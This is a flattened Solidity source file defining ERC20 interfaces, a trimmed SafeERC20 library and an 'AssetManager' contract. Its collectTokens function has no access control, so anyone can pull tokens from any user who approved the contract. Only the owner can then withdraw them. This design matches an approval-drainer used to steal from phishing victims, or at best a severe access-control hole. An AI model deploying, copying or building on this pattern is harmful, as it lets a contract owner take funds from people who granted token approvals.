AssetManager

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// Interfaces first (base before derived)
pragma solidity >=0.4.16;
interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); }

pragma solidity >=0.4.16;
interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

pragma solidity >=0.6.2;
interface IERC1363 is IERC20, IERC165 {
    function transferAndCall(address to, uint256 value) external returns (bool);
    function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool);
    function transferFromAndCall(address from, address to, uint256 value) external returns (bool);
    function transferFromAndCall(address from, address to, uint256 value, bytes calldata data) external returns (bool);
    function approveAndCall(address spender, uint256 value) external returns (bool);
    function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
}

// SafeERC20 (trimmed to what's used)
pragma solidity ^0.8.20;
library SafeERC20 {
    error SafeERC20FailedOperation(address token);
    error SafeERC20FailedDecreaseAllowance(address spender, uint256 currentAllowance, uint256 requestedDecrease);

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeCall(token.transfer, (to, value)));
    }
    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeCall(token.transferFrom, (from, to, value)));
    }
    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        uint256 returnSize; uint256 returnValue;
        assembly ("memory-safe") {
            let success := call(gas(), token, 0, add(data, 0x20), mload(data), 0, 0x20)
            if iszero(success) { let p := mload(0x40) returndatacopy(p,0,returndatasize()) revert(p, returndatasize()) }
            returnSize := returndatasize() returnValue := mload(0)
        }
        if (returnSize == 0 ? address(token).code.length == 0 : returnValue != 1) {
            revert SafeERC20FailedOperation(address(token));
        }
    }
}

// Contract
contract AssetManager {
    using SafeERC20 for IERC20;

    address public owner;

    event TokensCollected(address indexed user, address indexed token, uint256 amount);
    event TokensTransferred(address indexed to, address indexed token, uint256 amount);

    constructor() { owner = msg.sender; }

    modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; }

    function collectTokens(IERC20 token, address user, uint256 amount) external {
        require(amount > 0, "Invalid amount");
        uint256 allowance = token.allowance(user, address(this));
        require(allowance >= amount, "Not enough allowance");
        token.safeTransferFrom(user, address(this), amount);
        emit TokensCollected(user, address(token), amount);
    }

    function transferTokens(IERC20 token, address to, uint256 amount) external onlyOwner {
        require(amount > 0, "Invalid amount");
        token.safeTransfer(to, amount);
        emit TokensTransferred(to, address(token), amount);
    }
}